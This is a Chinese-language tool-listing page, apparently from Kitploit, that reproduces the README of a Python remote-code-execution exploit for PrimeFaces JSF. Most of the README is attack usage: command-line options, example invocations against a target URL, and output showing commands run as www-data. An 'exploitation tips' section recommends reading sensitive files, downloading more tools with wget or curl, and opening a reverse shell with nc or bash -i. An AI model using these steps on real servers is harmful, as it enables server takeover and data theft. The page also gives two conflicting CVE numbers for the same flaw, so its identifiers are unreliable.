Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2017-1000486 — 基于 Python 的 CVE-2020-1039909 漏洞利用工具,该漏洞是 Primefaces JSF 中的远程代码执行漏洞。通过填充预言机攻击执行任意命令,支持代理、Cookie 和 POC 模式选项。 | Kitploit
工具/GitHubGitHub/byt3l0rd/cve-2017-1000486
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用密码学渗透测试红队
GitHubbyt3l0rd/cve-2017-1000486

CVE-2017-1000486

基于 Python 的 CVE-2020-1039909 漏洞利用工具,该漏洞是 Primefaces JSF 中的远程代码执行漏洞。通过填充预言机攻击执行任意命令,支持代理、Cookie 和 POC 模式选项。

查看仓库
11小时18分前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

README - CVE-2020-1039909 Primefaces 远程代码执行

============================================================

关于漏洞

CVE-2020-1039909 是 Primefaces JSF 框架中的一个远程代码执行(RCE)漏洞。该缺陷允许攻击者通过 Padding Oracle 攻击在服务器上执行任意命令,原因是使用了弱加密和默认密码。

受影响版本:

  • 低于 5.2.21 的 Primefaces
  • 低于 5.3.8 的 Primefaces 5.3.x
  • 低于 6.0 的 Primefaces 6.x

影响:

  • 远程代码执行(RCE)
  • 服务器完全沦陷
  • 操作系统访问权限
  • 可能安装后门

============================================================

前置条件

  • 目标运行存在漏洞的 Primefaces
  • Python 3.6+
  • 依赖库:requests、pycryptodome、paddingoracle

安装依赖:

pip install requests pycryptodome paddingoracle

============================================================

可用命令

基本参数:

target 目标 URL(例如:http://target.com) -pw, --password Primefaces 密码(默认:primefaces) -pt, --path dynamiccontent.properties 的路径 (默认:/javax.faces.resource/dynamiccontent.properties.xhtml) -c, --cmd 要执行的命令(默认:whoami) -poc, --poc 使用测试载荷(仅验证漏洞) -px, --proxy 配置代理(例如:http://127.0.0.1:8080) -ck, --cookie 配置 Cookie -o, --oracle 启用 Padding Oracle 攻击(1 = 启用,0 = 禁用) (默认:0)(较慢) -pl, --payload 加密的 EL 载荷(用于配合 Padding Oracle)

============================================================

使用示例

  1. 执行基本命令(whoami)

python3 exploit.py http://target.com

  1. 执行特定命令

python3 exploit.py http://target.com -c "id"

  1. 验证目标是否存在漏洞(POC 模式)

python3 exploit.py http://target.com --poc

  1. 使用代理(Burp Suite)

python3 exploit.py http://target.com -px http://127.0.0.1:8080

  1. 使用 Cookie

python3 exploit.py http://target.com -ck "JSESSIONID=xxx"

  1. 使用 Padding Oracle(较慢,但更有效)

python3 exploit.py http://target.com -o 1 -c "whoami"

  1. 使用之前生成的载荷

python3 exploit.py http://target.com -pl "payload_criptografado"

============================================================

输出示例

$ python3 exploit.py http://target.com -c "id"

[] Generated Encrypted Payload: xyz123... [] Attempting to execute: id

POST /javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1 ...

HTTP/1.1 200 OK ...

[+] Exploit Result:

HTTP/1.1 200 OK ...

uid=33(www-data) gid=33(www-data) groups=33(www-data)

============================================================

POC 模式(漏洞测试)

POC 模式仅验证目标是否存在漏洞,不执行危险命令:

python3 exploit.py http://target.com --poc

存在漏洞时的预期输出:

[+] BANG!!! :D - Target IS VULNERABLE!!!

不存在漏洞时的输出:

[-] Target Probably NOT VULNERABLE :-(

============================================================

PADDING ORACLE(慢速模式)

如果默认攻击无效(响应体为空),请尝试 Padding Oracle 模式。此模式较慢但更有效:

python3 exploit.py http://target.com -o 1 -c "whoami"

============================================================

代理与调试

使用 Burp Suite 分析请求:

python3 exploit.py http://target.com -px http://127.0.0.1:8080

============================================================

常见错误及解决方法

"Response body empty... Target might not be vulnerable" 尝试 Padding Oracle 模式:-o 1

"Target Probably NOT VULNERABLE" 目标可能已打补丁或未使用默认密码

"Connection refused" 检查目标是否可访问

"SSL Error" 使用 http 代替 https,或忽略证书

============================================================

利用技巧

  • 测试多个命令以探索系统
  • 使用 whoami 识别当前用户
  • 使用 id 查看权限
  • 使用 ls 列出文件
  • 使用 cat 读取敏感文件
  • 使用 wget 或 curl 下载其他工具
  • 使用 nc 或 bash -i 获取反向 shell

============================================================

免责声明

本软件仅供教育和测试目的使用。作者对因不当使用本工具而造成的任何损害、损失或后果概不负责。

用户应对自己的行为负全部责任。在未经授权的系统上使用此漏洞利用程序是违法的,可能导致民事和刑事处罚。

请负责任且合乎道德地使用。知识是用来分享的,但智慧在于知道如何以及何时使用它。

============================================================

缓解措施(面向管理员)

  1. 将 Primefaces 更新到最新版本
  2. 更改 Primefaces 默认密码
  3. 使用 HTTPS 加密通信
  4. 部署 WAF 以阻止恶意载荷
  5. 如非必要,禁用 dynamiccontent.properties 功能

============================================================

参考资料

  • CVE-2020-1039909: https://nvd.nist.gov/vuln/detail/CVE-2020-1039909
  • Primefaces Security Advisory
  • Padding Oracle Attack (CVE-2017-1000486)

============================================================

Developed by byt3l0rd

下载工具